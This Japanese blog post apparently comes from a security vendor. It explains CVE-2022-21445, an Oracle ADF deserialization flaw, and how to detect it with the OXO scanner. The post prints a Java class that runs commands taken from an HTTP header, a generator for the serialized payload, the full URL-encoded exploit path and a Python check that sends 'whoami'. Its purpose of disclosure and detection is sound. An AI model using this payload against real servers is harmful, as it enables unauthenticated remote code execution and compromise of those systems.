CVE-2022-21445:Oracle ADFのデシリアライゼーションによるRCE
活発に悪用されているOracle ADFのデシリアライゼーションの欠陥であるCVE-2022-21445が、認証されていない攻撃者にリモートコード実行を許す仕組みと、OXOを使った検出方法を解説します。
はじめに
CVE-2022-21445は、現在に至るまで実環境で活発に悪用されている脆弱性です。2022年に発見されたにもかかわらず、OracleのApplication Development Framework(ADF)に存在するこのクリティカルな脆弱性は、今なお企業にとって深刻な脅威であり続けています。攻撃者はこれを悪用して、操作や権限を一切必要とせずにコードをリモートで実行できるため、現在でもサイバー犯罪者にとって格好の標的となっています。
CVE-2022-21445がOracle ADFに与える影響を理解する
CVE-2022-21445は、本質的にデシリアライゼーション脆弱性の典型例です。その原因は何でしょうか。org.apache.myfaces.trinidad.webapp.ResourceServletという、一見無害に見えるクラスです。このサーブレットはWebリソースの処理を担っていましたが、入ってくるデータを無条件に信頼してデシリアライズするという、クリティカルな欠陥を抱えていました。
この概念になじみのない方のために説明すると、デシリアライゼーションとは、バイトストリームをプログラム内で利用可能なオブジェクトやデータ構造へと戻す処理のことです。これは通常、シリアライズされた(保存や送信に適した形式に変換された)データを受け取り、処理のために元の形へ戻す必要があるときに発生します。しかし、デシリアライゼーションはセキュリティリスクをもたらすことがあります。特に、デシリアライズ対象のデータが信頼できないソースから来ている場合には、攻撃者がオブジェクトを操作し、アプリケーション内で有害な操作を実行できる可能性があります。
CVE-2022-21445のエクスプロイト経路:攻撃者がRCEを利用する方法
この脆弱性を悪用するために、攻撃者はデシリアライズされるとサーバー上で任意のコマンドを実行する特殊なJavaオブジェクトを作成しました。そのペイロードはURLエンコードされ、特定のエンドポイントへのGETリクエストの一部として送信されました。
以下は、脆弱なターゲットを確認するエクスプロイトコードの抜粋です。
def accept(self, target: definitions.Target) -> bool:
"""Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)
try:
req = requests.Request(
method=self.check_request.method,
url=target_endpoint,
headers=self.check_request.headers,
data=self.check_request.data,
).prepare()
resp = session.send(req, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException as e:
logging.info("Request Exception Occurred: %s", e)
return False
if "X-ORACLE-DMS-ECID" in resp.headers:
logging.info("X-ORACLE-DMS-ECID header found in the response")
return True
return False
このコードはX-ORACLE-DMS-ECIDヘッダーの有無を確認します。このヘッダーは、Oracle Application Development Framework(ADF)を含むOracle Fusion Middleware製品で一般的に使われています。そのため、このヘッダーがADFの潜在的なターゲットを特定するために使われます。
ペイロード:Javaに潜むトロイの木馬
このエクスプロイトの中核はペイロードにあります。研究者は、デシリアライズされると任意のコマンドを実行するLambdaIdentityクラスを作成しました。以下は、それがどのようなものになりうるかを簡略化した例です。
package com.tangosol.internal.util.invoke.lambda;
import com.tangosol.internal.util.invoke.AbstractRemotable;
public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process exec;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
} else {
exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
}
res.getServletOutputStream().clearBuffer();
res.getServletOutputStream().writeStream(exec.getInputStream());
res.getServletOutputStream().flush();
res.getServletOutputStream().close();
res.flushBuffer();
}
} catch (Exception var1) {
var1.printStackTrace();
}
}
}
このクラスがターゲットサーバー上でデシリアライズされると、攻撃者が指定したコマンドが実行されます。
脆弱性の検出
当社は、脆弱なシステムを検出するPythonスクリプトを開発しました。一般的なOracle製品に焦点を当て、テスト対象とする特定のエンドポイントを特定しました。
CONTEXT_APP = ["/bicomposer", "/em"] # Testing against Oracle Business Intelligence and Oracle Enterprise Manager
エクスプロイト経路は、悪意のあるエンコード済みペイロードを生成するカスタムJavaスクリプトMain.javaを使って生成されました。
package org.example.miracle;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws IOException {
RemoteConstructor remoteConstructor = new RemoteConstructor(
new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
);
String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
System.out.println(saa);
}
}
そして、以下がそのペイロードを使用するエクスプロイト経路です。
EXPLOIT_PATH = (
"/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
"-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
"-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
"-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
"-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
"%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
"%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
"-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
"-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
"-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
"-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
"%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
"-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
"%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
"-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
"-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
"%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
"-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
"-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
"-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
"-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
"-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
"-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
"%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
"-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
"%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
"%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
"%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
"-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
"-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
"-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
"-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)
検出スクリプトは、潜在的なターゲットに対して細工したリクエストを送信し、悪用が成功した兆候を確認します。以下は、検出ロジックの抜粋です。
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""Rule to detect specific vulnerability on a specific target.
Args: target: Target to scan
Returns: List of identified vulnerabilities. """
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
vulnerabilities: list[definitions.Vulnerability] = []
for context in CONTEXT_APP:
exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)
try:
exploit_req = requests.Request(
method="GET",
url=exploit_endpoint,
headers={"cmd": "whoami"},
).prepare()
exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)
if exploit_resp.status_code == 200:
response_text = exploit_resp.text.lower()
if any(
user in response_text
for user in ["root", "nt authority\\system"]
):
logging.info(
f"Potential RCE vulnerability detected at {exploit_endpoint}"
)
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)
break # Stop checking other contexts if vulnerability is found
except requests_exceptions.RequestException as e:
logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")
return vulnerabilities
動作の仕組み
このスクリプトは、まずターゲットとのセッションを開始します。これにより、リクエストとレスポンスを効率的に管理できます。次に、特定のエンドポイントに向けたGETリクエストを作成し、システムを探るためにヘッダーにcommandを埋め込みます。200 OKステータスを受け取ると、スクリプトはレスポンスを解析し、レスポンス本文にrootやSYSTEMが含まれているかなど、コマンド実行が成功した兆候を確認します。リモートコード実行(RCE)脆弱性が検出された場合、スクリプトはそのイベントを記録し、特定した脆弱性をさらなる対応のためにリストへ追加します。
OXOツールを使ったCVE-2022-21445のテスト
自社のインスタンスが脆弱かもしれないと懸念している場合は、以下の手順に従ってOXOツールでテストを実行してください。OXOは、この脆弱性をスキャンして検出する分かりやすい方法を提供します。始め方は次のとおりです。
- pip経由でOXOをインストールします。
pip install -U ostorlab
- OXOのエージェントストアからasteroidエージェントをインストールします。
oxo agent install agent/ostorlab/asteroid
- 以下のコマンドでasteroidエージェントを使ってスキャンを実行します。
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET